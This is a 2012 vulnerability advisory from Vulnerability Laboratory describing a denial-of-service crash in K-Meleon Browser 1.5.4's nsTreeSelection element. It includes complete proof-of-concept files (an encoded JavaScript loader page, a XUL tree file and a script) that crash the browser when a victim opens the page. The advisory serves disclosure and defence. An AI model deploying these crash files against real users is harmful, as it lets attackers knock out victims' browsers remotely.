Document Title:
===============
K-Meleon Browser v1.5.4 - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=510


Release Date:
=============
2012-04-13


Vulnerability Laboratory ID (VL-ID):
====================================
510


Common Vulnerability Scoring System:
====================================
5.2


Product & Service Introduction:
===============================
K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko 
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open 
Source software released under the GNU General Public License and is designed specifically 
for Microsoft Windows operating systems. 

(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )


Abstract Advisory Information:
==============================
Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon Browser v1.5.4.


Vulnerability Disclosure Timeline:
==================================
2012-04-14:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows 
an attacker to form manipulated files to crash th victims browser stable when processing to request.
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results
in a stable (bex exception) application (StackHash_2c85) crash.

Vulnerable Module(s):
				[+] nsTreeSelection element

Picture(s):
				../1.png
				../2.png
				../3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. Victim only need to visit the 
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...

frame-class.html
<script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%22%20width
%3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D%22tree.xul%22%3C/
script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>


tree.xul
<?xml version="1.0"?>
<?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?>
<window
  id="poc-test"
  title="TESTING EXPLOIT"
  orient="vertical"
  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="doSelect()">
<script src="rem0ve.js"/> 
 <tree id="penetrationtest" rows="1" onselect="doSelect()">
<treechildren>  
  <treeitem container="true" open="true">
    <treerow>  
<treecell label="rem0ve@vulnerability-lab.com"/>  
    </treerow>  
  </treeitem>  
</treechildren>  
 </tree>
</window>



rem0ve.js
function Init()
{
var tree=document.getElementById('penetrationtest');
tree.view.selection.select(0);
doSelect();
}
function doSelect()
{
  var tree=document.getElementById('penetrationtest');
  var sel = tree.view.selection;
  sel.tree = { invalidateRange: function(v,l)
  {
	sel.clearSelection();
	}
  }
}
setTimeout("Init()",500);


Security Risk:
==============
The security risk of the denial of service vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability  Laboratory [Research Team]  -   N/A   Anonymous


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=========================
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